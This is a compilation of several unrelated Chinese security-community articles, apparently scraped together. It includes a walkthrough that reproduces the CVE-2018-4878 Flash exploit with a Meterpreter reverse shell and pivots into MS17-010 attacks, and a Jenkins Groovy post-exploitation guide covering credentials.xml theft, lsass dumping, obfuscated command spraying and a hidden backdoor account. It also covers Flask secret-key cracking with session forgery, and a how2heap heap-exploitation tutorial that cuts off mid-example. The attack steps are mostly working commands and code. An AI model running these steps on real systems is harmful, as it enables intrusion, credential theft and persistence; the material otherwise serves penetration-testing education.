**2.2 metasploit介绍**
它是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。这些功能包括智能开发，代码审计，Web应用程序扫描，社会工程，团队合作。
## 3\. 利用复现过程
#### 3.1 内网环境搭建
##### 虚拟机环境：
> 1)外网：
> 攻击机： 系统：kali
> IP：192.168.28.136
> 2)内网：
> 靶机1：系统： Windows7x64 存在cve-2018-4878漏洞
> 外IP：192.168.28.129 内IP 192.168.211.128
> 靶机2：系统： Windows Server 2003
> IP:192.168.211.129
##### Flash环境：
靶机1（192.168.28.129 ）安装Adobe Flash 28.0.0.137版本
#### 3.2 复现过程
**3.2.1 安装flash**
**3.2.2 使用msfvenom生成shell代码**
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.211.129 lport=8888 -f python>shellcode.txt
（其中lhost为kali的ip地址，lport为自定义的端口号）
**3.2.3 使用python编写利用程序 生成cve-2018-4878.py**
cat shellcode.txt
并将buf覆盖为msfvenom生成的代码shellcode.txt
且修改：
**3.2.4 在Kali Linux执行cve-2018-4878.py 生成两个文件**
ls
python cve-2018-4878.py
ls -l
**3.2.5 构建远程访问，配置apache2服务**
开启apache2服务：
service apache2 start
将生成的两个文件放入/var/www/html目录中：
cp index2.html /var/www/html/index2.html
cp exploit.swf /var/www/html/exploit.swf
此时，Kali Linux上Web服务启动，并且具备index2.html这个页面。只要靶机启用flash并访问了这个页面，则可以直接被控制。
**3.2.6 kali 开启shell会话监听**
先开启数据库服务：service postgresql start
数据库初始化：msfdb init
开启框架：msfconsole
使用handler监听模块：use exploit/multi/handler
回弹一个tcp连接：set payload windows/meterpreter/reverse_tcp
设置kali渗透机的ip地址：set lhost 192.168.28.136
设置监听端口，这个需跟上面msfvenom设置的端口一致：set lport 8888
开启监听，等待肉鸡上线：exploit
此时靶机1访问kali的apache服务：在浏览器中输入<http://192.168.28.136/index2.html>
执行了带有flash漏洞利用的程序
Kali反弹shell：
ifconfig查看
getuid 得到id名
sysinfo 得到系统信息
ps
#### 3.3 对内网进行渗透
run get_local_subnets 本地子网查询
run autoroute -s 192.168.211.0/24 添加去往目标内网网段的静态路由
run autoroute -p 路由查询
使用ms17_010模块 扫描内网中存在的该漏洞的内网机子：
background 退出meterpreter
use auxiliary/scanner/smb/smb_ms17_010 使用模块
set rhosts 192.168.211.0/24
set threads 50
run
扫描结果 ip为192.168.211.129 存在“永恒之蓝”漏洞：
对该漏洞进行利用 攻击靶机2(ip:192.168.211.129)
首先进行 **端口转发** ：
Sessions 查看返回的会话名
sessions 1
portfwd add -l 5555 -p 6666 -r 192.168.211.129 设置正向连接
portfwd add -l 4445 -r 192.168.211.129 -p 445 端口转发
use exploit/windows/smb/ms17_010_psexec 使用模块
background
设置攻击：
use exploit/windows/smb/ms17_010_psexec 使用模块
set rhost 192.168.28.136
set rport 445
set payload windows/meterpreter/bind_tcp
set lport 2222
exploit
445端口不行，换成以下两个端口：
成功正向连接反弹shell：
getuid获得id名：
## 3\. 防护方案
（1）直接到Adobe Flash官网，下载最新版本：<https://get.adobe.com/cn/flashplayer/>
（2）安装常见杀毒软件，开启实时防护和杀毒引擎实时升级。
## 4\. 参考文献
* <https://blog.51cto.com/chenxinjie/2093653>
* [https://www.cnblogs.com/backlion/p/9484949.html ](https://www.cnblogs.com/backlion/p/9484949.html)
* [使用MSF路由转发实现MSF框架的内网渗透](https://www.anquanke.com/post/id/86505 "使用MSF路由转发实现MSF框架的内网渗透")
* [matesploit [内网穿刺] 端口转发 ](https://www.bodkin.ren/index.php/archives/412/ "matesploit \[内网穿刺\] 端口转发 ")
* <https://www.cnblogs.com/diligenceday/p/11028462.html> | 社区文章 |
本文为翻译文章，原文链接为：<https://redtimmysec.files.wordpress.com/2019/09/jenkins_redtimmysec.pdf>
## 前言
Jenkins是一个配备有以持续集成为目的的各类插件的Java编写的开源的自动化工具，可以用于持续开发和测试的软件项目，是开发人员能够将更新集成到项目中，并使得用户获得一个新鲜的发布版软件。Jenkins有一个很不错的Groovy脚本console口，允许在Jekins运行时在客户端代理上执行任意Groovy脚本。它还包括一个管道插件，允许使用Groovy编写构建指令。
## 什么是Groovy？
Groovy是一个兼容JAVA语法的面向对象的为JAVA平台服务的编程语言。它既是静态语言又是动态语言，有着和Python，Ruby，Perl和Smaltalk类似功能的语言。它既可以被用作编程语言，也可以作为JAVA平台的脚本语言。
近几个月我们做了很多针对Jenkins或包含Jekins的集成环境的渗透测试和红队练习。这些活动基本都是通过Groovy脚本分发自动化任务来实施的。网上好像没有很多讨论这个话题的资源，我们决定创建一个包含如何将这种脚本语言好好利用的白皮书。
尽管Groovy脚本console在攻击者手下是很厉害的攻击，但是这个白皮书不会覆盖所有的攻陷Jenkins和这个console口的方法的技术点。我们将假设已经获得console口的权限来进行测试。
大多数这种测试都是基于Windows环境。除了特定命令外，其他基本你都可以在Linux或者其他操作系统下执行相同的Groovy脚本。
## Groovy基础
### 列出文件和文件夹
当Jenkins被攻击，在侦查阶段，识别沦陷系统是非常重要的。通过Groovy可以很简单找到Jenkins的root目录。
dir = new File(“..\\..\\”)
dir.eachFile {
println it
}
console口显示了脚本的输出：
双引号中间的脚本代码可以准确识别任何文件名。
在下列例子中，Jenkins下的子文件夹“users"都可以输出中打印出来，可以用来枚举目标Jenkins的本地用户。
dir = new File("../../Jenkins/home3/users")
dir.eachFile {
println it
}
输出：
..\..\Jenkins\home3\users\admin
..\..\Jenkins\home3\users\user1
..\..\Jenkins\home3\users\user2
..\..\Jenkins\home3\users\user3
[...]
### 打印环境变量
环境变量通过如下的脚本片段就可以打印出来：
def env = System.getenv()
println “${env}”
### 删除一个文件
一个文件可以通过如下两行Groovy脚本就删除了：
deleteme = new File('C:\\target\filename.exe')
deleteme.delete()
### 创建文件
文件系统中国一个空文件可以通过如下Groovy脚本创建：
createme = new File(“C:\\target\filename.exe”)
createme.createNewFile()
创建一个空文件好像很奇怪，但是在渗透测试中用于检查用户在Jenkins的web根目录下是否可写的权限是很方便的。在接下来的例子中，成功尝试在”Jenkins/home3/userContent/"文件夹下创建一个空文件“test.txt"。true的结果表明我们可以向该目录写文件。
### 读文件
一个文件可以通过如下单行脚本读取：
String fileContents = new File('C:\\USERS\\username\\desktop\\something.conf').text
这个代码作用很大。首先，一个渗透测试人员可以去读取Jenkins的“credentials.xml"资源，这里面会有用户名，密码和私钥。
在测试期间有几种情况下，我们还设法从Jenkins访问的存储库中收集与应用程序代码相关的明文凭证：
通过测试Jenkins的构建版，对于渗透测试人员和读取团队成员来说，发现配置的git存储库并使用收集的密钥/凭证横向移动到目标基础架构中是一个很好玩的事。
在很多案例中，只是枚举本地文件夹和读文件我们就可以在目标体系中横向移动了，并且可以尽可能地获取最大的权限。下面的例子中我们是从文件系统中的“c:\ssh”目录开始。文件目录列举可以看到有个叫“run.sh”的脚本，只是用来以root用户连接一个特定主机。很明显这个脚本用得是存储在文件系统中的私钥来进行无密登陆。
通常来说接下来就是在文件系统中找到私钥。
一旦找到私钥（图中的oracle.key），接下来就是登陆远程系统。
### 执行命令
执行操作系统命令和刚刚说的创建删除文件一样简单，都可以通过一行Groovy脚本解决。下面的例子就是执行了“whoami”的命令：
println "whoami".execute().text
输出如下：
Result: [machine\user]
特别的是，我们在Windows系统上执行“systeminfo”可以帮助我们了解系统信息等：
println "systeminfo".execute().text
除了这两个命令任何命令基本都可以这么用。
### 加载共享盘
在一个攻陷主机加载一个远程共享盘可能没什么大问题，但是看一下做这件事的动机就知道这很重要。
我们来假设通过bat脚本从文件系统下载资源：
net use P: \\192.168.1.42\ShareName /user:MACHINE\user MountPassword
cd "C:\stack"
set HOME=%USERPROFILE%
echo %date% %time%
"P:\Internal_Tools\Portable Software Stack\Git\bin\git.exe" clean –f
[...]
这种情况下192.168.1.42是一个和Jenkins主机同一个子网下的共享服务器，bat脚本中发现用了SMB共享的凭据信息，也就是说可以在Groovy脚本中运行“net
use P:\192.168.1.43\Sharename /user:MACHINE\user
MountPassword”这个命令，攻击者可以加载网络文件夹到本地磁盘下。
希望如果这样获得的凭据提供对远程共享中的一个或多个子文件夹的写访问权限，则攻击者可以将该共享用作临时服务器，其中存储命令输出或后门以从受感染的主机运行。
这将使攻击者处于更好的状态，在不触发防御警告的情况下传输自己想要用的工具。
### 复制和移动文件
现在在攻陷后Jenkins主机下有一个加载好的共享文件夹“P:\”，如果攻击者想要移动“procdump64.exe”文件到Jenkins服务器的文件系统上呢？下面3行Groovy代码可以帮助到我们：
src = new File("P:\\tools\\procdump64.exe")
dest = new File("C:\\users\\username\\jenkins-monitor.exe")
dest << src.bytes
我们假设文件源地址为“P:\tools\procdump64.exe"（网络共享），目标移动地址为”C:\users\username\jenkins-monitor.exe"（Jenkins服务器的本地文件系统）。
当然在这个案例中从网络共享盘移动文件到本地系统是一个不必要的操作，因为可执行文件可以直接在共享盘下执行。但是，这是可以更加清楚地了解Groovy代码的操作方法，因为反向操作（从本地盘向共享盘移动文件）是很常见的，方法操作是一样的。
### 执行procdump
Windows下一个特殊的场景包括了执行procdump工具来下载“lsass.exe"进程的内存记录以拿到NTML哈希或明文密码。
这个操作可以通过如下一行代码执行：
println "C:\\users\\username\\jenkins-monitor.exe -accepteula -64 -ma lsass.exe C:\\users\\username\\lsass.dmp".execute().text
procdump二进制文件以"C:\\\users\\\username\\\jenkins-monitor.exe"的文件名来执行，输出保存在文件“C:\\\users\\\username\\\lsass.dmp”中。
如果攻击者有足够的权限下载“lsass.exe”的内存，那么命令输出结果如下：
现在“lsass.dmp"可以从jenkins本地通过Groovy代码传到共享盘了：
src = new File("C:\\users\\username\\lsass.dmp")
dist = new File("P:\\tmp\\lsass.dmp")
dist << src.bytes
然后攻击者可以分析它以拿到hash和凭据来在目标网络内做更多的控制操作。
## 一些更高级的东西
### 散布（spray）技术
当一个Jenkins主节点被攻陷，所有连接它的从节点就会因为如下代码（使用了RemoteDiagnostics）就会被强制执行命令：
import hudson.util.RemotingDiagnostics;
def jenkins = Jenkins.instance
def computers = jenkins.computers
command = 'println "whoami".execute().text'
computers.each{
if (it.hostName){
println RemotingDiagnostics.executeGroovy(command,
it.getChannel());
}
}
在这个案例中“whoami”命令会在网络中连接的Jenkins代理中被大量执行。
### 基于Base64编码的散布技术
更有趣的是，Groovy脚本可以不止发送单行代码给从服务器进行执行。为了不被发现，脚本编码了Groovy代码然后发送给了从服务器进行执行：
import hudson.util.RemotingDiagnostics;
def jenkins = Jenkins.instance
def computers = jenkins.computers
def command =
'ZGlyID0gbmV3IEZpbGUoJ2M6XFwnKQpkaXIuZWFjaEZpbGUgewoJcHJpbnRsbiBpdAp9
Cg=='
byte[] decoded = command.decodeBase64()
payload = new String(decoded)
computers.each{
if (it.hostName){
println RemotingDiagnostics.executeGroovy(payload,
it.getChannel());
}
}
上面的代码中““ZGlyID0gbmV3IEZpbGUoJ2M6XFwnKQpkaXIuZWFjaEZpbGUgewoJcHJpbnRsbiBpdAp9Cg==”经过base64解码后就是在从服务器的C:\中列文件和文件夹的代码命令：
dir = new File('c:\\')
dir.eachFile {
println it
}
这里关键的就是Groovy脚本可以嵌套另一个进行base64编码后的Groovy脚本。这是复制并粘贴到Jenkins Groovy控制台中的主要脚本。
散布技术是很有帮助的，例如一个攻击者想要一个一次性后门（所有从主机都可以被主服务器上的后门控制）。在下面截图我们证明了一个核心代理通过之前的技术实施被分布在3个子网段。
### 建立账号后门
当访问Groovydeconsole口因为未授权原因被拒绝的话，如下脚本可以允许一个恶意代理创建账号，只要将如下代码中的“USERNAME"和"PASSWORD”字符串为自己的字符就可以了。
import jenkins.model.*
import hudson.security.*
def instance = Jenkins.getInstance()
def hudsonRealm = new HudsonPrivateSecurityRealm(false)
hudsonRealm.createAccount("USERNAME","PASSWORD")
instance.setSecurityRealm(hudsonRealm)
instance.save()
我们发现通过这种方式添加用户，在图形化界面是看不到这个用户存在的，但是还是可以正常登陆Jenkins的console口。
## 总结
所有Jenkins的脚本会上传到 <https://github.com/redtimmy>
访问我们的博客 <https://redtimmysec.wordpress.com> 和推特
<https://twitter.com/redtimmysec> 。 | 社区文章 |
# 浅谈Flask cookie与密钥的安全性
|
##### 译文声明
本文是翻译文章，文章原作者 paradoxis，文章来源：blog.paradoxis.nl
原文地址：<https://blog.paradoxis.nl/defeating-flasks-session-management-65706ba9d3ce>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
几星期之前，我和我的一个小伙伴正在讨论web框架，小伙伴声称他构造了一个“绝对无法绕过的”登录表单。征得小伙伴同意后，他把相关代码发给我审阅。
正如我所料，他说的有一定道理，代码看上去的确非常安全，不存在[SQL注入](https://en.wikipedia.org/wiki/SQL_injection)、[XSS](https://nl.wikipedia.org/wiki/Cross-site_scripting)漏洞，他甚至限制了访问速率并会审计日志。看来如果不知道密码，我们似乎无法绕过登录表单。
这种实现非常完美，直到我注意到他使用的密钥（secret key）为“CHANGEME”。
## 二、利用人为错误
我的小伙伴没有意识到一点：使用脆弱的密钥会比在客户端存储当前用户的状态其实更加危险。考虑如下一个示例程序（该程序完全摘抄自小伙伴提供的代码）：
# Requirements: Flask
from flask import Flask, session
app = Flask(__name__)
app.config['SECRET_KEY'] = 'CHANGEME'
@app.route('/')
def index():
if 'logged_in' not in session:
session['logged_in'] = False
if session['logged_in']:
return '<h1>You are logged in!</h1>'
else:
return '<h1>Access Denied</h1>', 403
if __name__ == '__main__':
app.run()
乍看之下，代码似乎有点难以理解，我甚至都想直接删除登录表单（因为我们永远无法猜到正确的密码）。那么我们如何才能看到“You are logged
in!”消息呢？
## 三、Flask的会话管理
默认情况下，Flask会使用名为“signed
cookies”的一种机制，这是在客户端（而非服务端）存储当前会话（session）数据的一种简单方式，使其（从理论上）无法被篡改。
然而这种方法存在一些缺点，比如cookie值并非经过加密处理，而是经过签名处理。这意味着我们不需要密钥也能读取会话内容。
此外，我还与许多Python开发人员交流过，大部分人都认为客户端无法读取会话数据，因为用来签名cookie的代码为`SecureCookieSessionInterface`，这个函数名也给他们带来不可靠的安全感。我们来考虑如下会话：
图1. 一个“安全的”cookie可以切分成若干部分
### 会话数据
会话数据实际上就是会话的内容，虽然第一眼看上去这种数据很难理解，但其实这只是经过[Base64](https://en.wikipedia.org/wiki/Base64)编码的一个字符串。如果我们使用`itsdangerous`的base64解码器对其进行解码，可以得到如下输出：
图2. 服务端设置的会话数据
### 时间戳
时间戳可以告诉服务端数据最后一次更新的时间。根据我们所使用的`itsdangerous`的具体版本，该时间戳可能对应当前的Unix时间戳、或者当前当前Unix时间戳减去epoch时间（即1970-01-01
00:00:00
UTC）所对应的值（由于之前存在一个bug，我们无法设置早于2011年的时间，因此存在两种不同的时间戳版本，参考此处[资料](https://github.com/pallets/itsdangerous/issues/46)）。
如果时间戳已超过31天，那么会话就会被打上过期标记，变成无效会话。
### 加密哈希
这就是让cookie变得“安全”的字段。服务器向我们发送最新的会话数据之前，会结合我们的会话数据、当前时间戳以及服务器的私钥来计算[sha1](https://en.wikipedia.org/wiki/SHA-1)[哈希](https://simple.wikipedia.org/wiki/Cryptographic_hash_function)。
每当服务器再次看到该会话，就会解析这几部分字段，然后使用同样的方法验证这些数据。如果哈希与给定的数据不匹配，那么表明数据已被篡改，因此服务端会将该会话当成无效会话。
这意味着如果我们的私钥非常容易猜测，或者已对外公开，那么攻击者可以不费吹灰之力修改会话的内容。我们可以来看一下网上已公开的私钥情况，在GitHUb上搜索`secret_key`，可以看到如下结果：
图3. 在GitHub上搜索`secret_key`可以返回将近240万条记录
## 四、绕过认证
那么我们怎么才能绕过认证呢？我们来看如下示例（请复制前文代码，以便按步骤执行）：
### 前提条件
* 安装Python解释器（我使用的是Python 3.6版）
* 使用`pip install flask`安装Flask（可以在[虚拟环境](https://virtualenv.pypa.io/en/latest/)中安装）
在进一步操作前，我们需要启动Flask，命令如下：
$ python server.py
### 获取会话cookie
为了获取会话cookie，我们需要先从服务器探测出可能使用的cookie格式。这里我使用`curl`发起请求，并带上`-v`选项以获得`verbose`输出信息（可以打印出请求头部），大家也可以直接访问服务器web页面，再配合浏览器插件（如[EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg)）来获取cookie的内容：
图4. 服务端返回会话cookie
需要注意的是，并非所有服务器都会立刻返回一个会话，有些服务器只会在出现错误时返回会话，而其他服务器只会在用户登录后返回会话。我们需要根据具体情况具体分析。为了演示方便，这里我们的示例程序无论何时都会设置会话信息。
### 创建字典
虽然我们可以组合各种可能的字母、数字以及符号来暴力破解，但更好的办法是创建一个字典集（wordlist），其中包含开发者已经公开过的秘钥。
为建立字典，我首先想到的是两个来源：GitHub（如前文所示）以及StackOverflow（我们可以通过[archive.org](https://archive.org/details/stackexchange)来下载该网站上曾经发表过的每条评论、文章等数据）。
对于GitHub，我简单编写了一个一次性脚本，该脚本会搜索`secret_key`，然后尽可能多地下载commit以及文件。对于StackOverflow，我尝试遍历每个可能的文本，然后使用如下正则表达式来匹配秘钥值：
图5. 用来识别秘钥的正则表达式
我花了一周时间在我的VPS上爬取GitHub数据，结合我从StackOverflow上提取的每篇文章、评论后，我最终得到了37069条不同的秘钥值。
### 破解签名
现在我们手头上已经有一份字典，也知道cookie及部分Flask会话管理代码，接下来我们可以使用每个秘钥值来匹配cookie，判断签名是否有效。如果没有出现任何错误，则表明我们获得了有效的签名，这意味着我们已经找到了服务器的私钥！
图6. 会话破解示例应用
### 制作会话cookie
如果脚本运行成功，那么现在我们已经获得了服务器的私钥。现在我们可以使用同样的代码，但此时我们并不“加载”已有的会话，而是“转储”会话，使用任意数据来创建cookie。
图7. 构造新的会话
如果我们现在向同一个服务器发起请求，服务器应该会接受我们构造的cookie，因为这个cookie与服务器的秘钥匹配，这样服务器会认为我们已经成功登录。
图8. 使用我们构造的cookie来绕过服务端认证
>
> 这里指出的是，虽然我们可以修改会话，但并不意味着我们可以立刻绕过身份认证机制。并非所有的系统都使用同样的方法构建，我们可能需要进一步研究，确定具体情况，以及是否能在实际环境中使用这种技术。
## 五、Flask-Unsign
由于在分析Flask对会话的处理过程中我做了不少操作，因此我决定将代码集成到一款方便使用的命令行工具，使大家能够扫描自己的服务器是否存在类似问题。
大家可以在命令行中使用[pip](https://en.wikipedia.org/wiki/Pip_%28package_manager%29)来安装该工具，命令如下：
$ pip install flask-unsign[wordlist]
如果大家不需要庞大的字典文件，只想使用代码，也可以忽略其中的`[wordlist]`命令。
$ pip install flask-unsign
大家也可以访问[GitHub](https://github.com/Paradoxis/Flask-Unsign)阅读源代码。
### 使用方法
Flask-Unsign主要有3种使用场景：对cookie的解码、签名以及解除签名（破解），代码支持HTTP协议，因此用户无需打开浏览器：
图9. 使用Flask-Unsign破解并构造会话
## 六、情况统计
现在可能有人会有问题：实际环境中这种攻击方法是否有效？为了测试这一点，我和Rik van
Duijn（[Twitter](https://twitter.com/rikvduijn?lang=en)）利用[Shodan](https://en.wikipedia.org/wiki/Shodan_%28website%29)简单统计了一下有多少设备可能在使用Flask框架，结果如下：
图10. 大约有88,000台服务器在使用Flask
然后我们将目标限定在立刻返回会话cookie的那些服务器（因为想查看完整的Shodan数据较为昂贵，并且爬取每台主机然后定位会话cookie也是动作较大的一种行为，可能会让我的路由器不堪重负，我的ISP可能也会介入，询问我的具体动机）。
图11. 结果缩小到1,500台服务器
下载搜索结果后，我开始分析我能利用之前的字典成功破解多少个会话。
>
> 服务器正在运行`Werkzeug`并不意味着它们使用的是Flask框架。此外有些应用的信息会被其他web服务器覆盖（如Nginx）、有些服务器不会立刻设置cookie、有些服务器前端存在防火墙，这些我们都没有考虑，因此下面给出的统计数据并不全面。
图12. 所有有效会话中有超过28%会被成功破解
>
> 最初我在MacBook上暴力破解会话，但很快我就意识到MacBook对多线程Python的处理并不高效，因此我切换到另一台（性能稍好的）游戏主机来运行脚本，整个任务大概花了20分钟。
剔除非签名的cookie后（大部分为服务端cookie，或者与Flask使用相同的命名约定及基本代码的其他框架），我得到了1242个有效的会话。将这些会话输入[Flask-Unsign](https://github.com/Paradoxis/Flask-Unsign)进行处理后，有352个会话被成功破解，破解率已经超过了28%。在这352个会话中，我只用到了78个不同的秘钥值。
图13. 10大常用的秘钥
## 七、缓解措施
有各种方法可以避免这种问题。首先也是最明显的办法就是保证我们所使用的秘钥的安全。此外，我们还可以考虑如下措施：
### 使用随机化秘钥
不使用容易被猜出的秘钥，而使用完全随机的值。理想情况下，每次启动应用时我们都应该将秘钥设置为随机值，但这样对用户体验可能不是很好，因此每次重启服务时用户会话都会过期。
最实用的解决方案就是生成一个UUID值。我们可以在类Unix系统上使用`uuid`或者`uuidgen`命令来完成该任务，或者在安装了Python环境的主机上执行如下命令：
$ python -c 'import uuid; print(uuid.uuid4());'
### 使用服务端会话
除了避免攻击者猜出秘钥之外，我们也可以使用服务端会话来避免攻击者查看会话的内容，此时攻击者只能得到一个唯一的token值。
对于Flask，我们可以安装[Flask-Session](https://pythonhosted.org/Flask-Session/)包，然后在构建应用时进行初始化。
## 示例应用
Flask示例应用如下所示，其中使用了前文提到了缓解措施，可以加强会话的鲁棒性。
# Requirements: Flask, Flask-Session
import os
from flask import Flask, session
from flask_session import Session
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(64)
app.config['SESSION_TYPE'] = 'filesystem'
Session(app)
@app.route('/')
def index():
if 'logged_in' not in session:
session['logged_in'] = False
if session['logged_in']:
return '<h1>You are logged in!</h1>'
else:
return '<h1>Access Denied</h1>', 403
if __name__ == '__main__':
app.run() | 社区文章 |
通过 how2heap 复习堆利用
## Educational Heap Exploitation
[how2heap](https://github.com/shellphish/how2heap)这是由 shellphish
团队创建的一个仓库，是用来学习堆利用技术广为周知的地方。 且主要针对 glibc
### 0x01 first_fit
Source:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
fprintf(stderr, "This can be exploited in a use-after-free situation.\n");
fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc(512);
char* b = malloc(256);
char* c;
fprintf(stderr, "1st malloc(512): %p\n", a);
fprintf(stderr, "2nd malloc(256): %p\n", b);
fprintf(stderr, "we could continue mallocing here...\n");
fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "We don't need to free anything again. As long as we allocate less than 512, it will end up at %p\n", a);
fprintf(stderr, "So, let's allocate 500 bytes\n");
c = malloc(500);
fprintf(stderr, "3rd malloc(500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.");
}
我们从调试上入手，首先简单对 main 函数下断点。`b main`
。
程序首先创建了两个 chunk，size分别为 512 和256。然后向chunk a 分别写入字符串 'this is A' 。
Pwndbg> heap
Top Chunk: 0x602320
Last Remainder: 0
0x602000 PREV_INUSE {
prev_size = 0x0,
size = 0x211,
fd = 0x2073692073696874,
bk = 0x2141,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
Pwndbg> x/20a 0x602000
0x602000: 0x0 0x211
0x602010: 0x2073692073696874 0x2141
0x602020: 0x0 0x0
0x602030: 0x0 0x0
0x602040: 0x0 0x0
0x602050: 0x0 0x0
0x602060: 0x0 0x0
0x602070: 0x0 0x0
0x602080: 0x0 0x0
0x602090: 0x0 0x0
Pwndbg> x/5s 0x602010
0x602010: "this is A!"
0x60201b: ""
0x60201c: ""
0x60201d: ""
0x60201e:
这个时候我们把 chunk A free掉。由于chunk A 大小为 512 不适于 fastbins 系统会将这个chunk
放入unsortedbin。
* * *
基本来源：
1. 当一个较大的 chunk 被分割成两半后，如果剩下的部分大于 MINSIZE，就会被放到 unsorted bin 中。
2. 释放一个不属于 fast bin 的 chunk，并且该 chunk 不和 top chunk 紧邻时，该 chunk 会被首先放到 unsorted bin 中。关于top chunk的解释，请参考下面的介绍。
3. 当进行 malloc_consolidate 时，可能会把合并后的 chunk 放到 unsorted bin 中，如果不是和 top chunk 近邻的话。
基本使用情况
1. Unsorted Bin 在使用的过程中，采用的遍历顺序是 FIFO， **即插入的时候插入到 unsorted bin 的头部，取出的时候从链表尾获取** 。
2. 在程序 malloc 时，如果在 fastbin，small bin 中找不到对应大小的 chunk，就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足，就会直接返回给用户，否则就会把这些 chunk 分别插入到对应的 bin 中。
* * *
当程序再一次 malloc 一个大小与我们 free 掉的chunk 大小差不多的 chunk ，系统会优先从 bins 里找到一个合适的 chunk
把他取出来再使用。写入'this is C'
Pwndbg> heap
Top Chunk: 0x602320
Last Remainder: 0
0x602000 PREV_INUSE {
prev_size = 0x0,
size = 0x211,
fd = 0x2073692073696874,
bk = 0x7ffff7002143,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
Pwndbg> x/20a 0x602000
0x602000: 0x0 0x211
0x602010: 0x2073692073696874 0x7ffff7002143
0x602020: 0x0 0x0
0x602030: 0x0 0x0
0x602040: 0x0 0x0
0x602050: 0x0 0x0
0x602060: 0x0 0x0
0x602070: 0x0 0x0
0x602080: 0x0 0x0
0x602090: 0x0 0x0
Pwndbg> x/5s 0x602010
0x602010: "this is C!"
0x60201b: "\367\377\177"
0x60201f: ""
0x602020: ""
0x602021: ""
Pwndbg>
Unsortedbin 也被取出。
我们发现在原来 chunk A 的位置 也是chunk C 的位置。为什么用“也”呢？因为如果去打印 chunk A 的指针我们也会打印出 “This is
C” 的字符串。
Pwndbg> p &a
$3 = (char **) 0x7fffffffe408
Pwndbg> x/20a 0x7fffffffe408
0x7fffffffe408: 0x602010 0x602220
0x7fffffffe418: 0x602010 0x4008e0 <__libc_csu_init>
0x7fffffffe428: 0x7ffff7a303f1 <__libc_start_main+241> 0x40000
0x7fffffffe438: 0x7fffffffe508 0x1f7b9a488
0x7fffffffe448: 0x400616 <main> 0x0
0x7fffffffe458: 0x873c9590c5edf93b 0x400520 <_start>
0x7fffffffe468: 0x7fffffffe500 0x0
0x7fffffffe478: 0x0 0x78c36aef1c4df93b
0x7fffffffe488: 0x78c37a56d37ff93b 0x0
0x7fffffffe498: 0x0 0x0
Pwndbg> x/20a 0x602010
0x602010: 0x2073692073696874 0x7ffff7002143
0x602020: 0x0 0x0
0x602030: 0x0 0x0
0x602040: 0x0 0x0
0x602050: 0x0 0x0
0x602060: 0x0 0x0
0x602070: 0x0 0x0
0x602080: 0x0 0x0
0x602090: 0x0 0x0
0x6020a0: 0x0 0x0
Pwndbg> p a
$4 = 0x602010 "this is C!"
Pwndbg>
从这我们就会发现 我们去打印 a的内容，a的内容也是‘this is C’。这个就是一个很明显的 **use-after-free** 漏洞。
* * *
uaf 造成原因：
指针free 掉后并没有置0
* * *
### 0x2 fastbin_dup
Tricking malloc into returning an already-allocated heap pointer by abusing
the fastbin freelist.
fastbin 机制下的 double free。
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
}
在这之前，我们先看一个程序。
17 fprintf(stderr, "Freeing the first one...\n");
18 free(a);
19
20 fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
21 free(a);
22
23 fprintf(stderr, "So, instead, we'll free %p.\n", b);
24 free(b);
25
我们把21 行的注释去掉。编译程序并运行。
This file demonstrates a simple double-free attack with fastbins.
Allocating 3 buffers.
1st malloc(8): 0xb74010
2nd malloc(8): 0xb74030
3rd malloc(8): 0xb74050
Freeing the first one...
If we free 0xb74010 again, things will crash because 0xb74010 is at the top of the free list.
*** Error in `./fastbin_dup_double_free': double free or corruption (fasttop): 0x0000000000b74010 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x790cb)[0x7fe7c6e7d0cb]
/lib/x86_64-linux-gnu/libc.so.6(+0x82c9a)[0x7fe7c6e86c9a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fe7c6e8ad8c]
./fastbin_dup_double_free[0x400740]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7fe7c6e243f1]
./fastbin_dup_double_free[0x40054a]
======= Memory map: ========
当我们运行程序后，程序发生了明显的报错，这是一个典型的 **double free** 。意味通常而言，一个已经 free 掉的 chunk 是不能被
free 第二次的。然后我们把原本的注释加上。
17 fprintf(stderr, "Freeing the first one...\n");
